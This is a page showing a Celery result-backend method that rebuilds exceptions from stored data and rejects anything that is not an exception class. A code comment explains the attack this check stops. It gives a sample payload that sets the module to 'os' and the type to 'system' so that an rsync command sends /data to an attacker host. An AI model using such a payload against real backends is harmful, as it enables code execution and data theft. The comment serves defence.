Method exception_to_python

celery/backends/base.py:434–503

Convert serialized exception to Python exception.

(self, exc)

                'exc_module': exctype.__module__}

    def exception_to_python(self, exc):
        """Convert serialized exception to Python exception."""
        if not exc:
            return None
        elif isinstance(exc, BaseException):
            if self.serializer in EXCEPTION_ABLE_CODECS:
                exc = get_pickled_exception(exc)
            return exc
        elif not isinstance(exc, dict):
            try:
                exc = dict(exc)
            except TypeError as e:
                raise TypeError(f"If the stored exception isn't an "
                                f"instance of "
                                f"BaseException, it must be a dictionary.\n"
                                f"Instead got: {exc}") from e

        exc_module = exc.get('exc_module')
        try:
            exc_type = exc['exc_type']
        except KeyError as e:
            raise ValueError("Exception information must include "
                             "the exception type") from e
        if exc_module is None:
            cls = create_exception_cls(
                exc_type, __name__)
        else:
            try:
                # Load module and find exception class in that
                cls = sys.modules[exc_module]
                # The type can contain qualified name with parent classes
                for name in exc_type.split('.'):
                    cls = getattr(cls, name)
            except (KeyError, AttributeError):
                cls = create_exception_cls(exc_type,
                                           celery.exceptions.__name__)
        exc_msg = exc.get('exc_message', '')

        # If the recreated exception type isn't indeed an exception,
        # this is a security issue. Without the condition below, an attacker
        # could exploit a stored command vulnerability to execute arbitrary
        # python code such as:
        # os.system("rsync /data attacker@192.168.56.100:~/data")
        # The attacker sets the task's result to a failure in the result
        # backend with the os as the module, the system function as the
        # exception type and the payload
        # rsync /data attacker@192.168.56.100:~/data
        # as the exception arguments like so:
        # {
        #   "exc_module": "os",
        #   "exc_type": "system",
        #   "exc_message": "rsync /data attacker@192.168.56.100:~/data"
        # }
        if not isinstance(cls, type) or not issubclass(cls, BaseException):
            fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
            raise SecurityError(
                f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")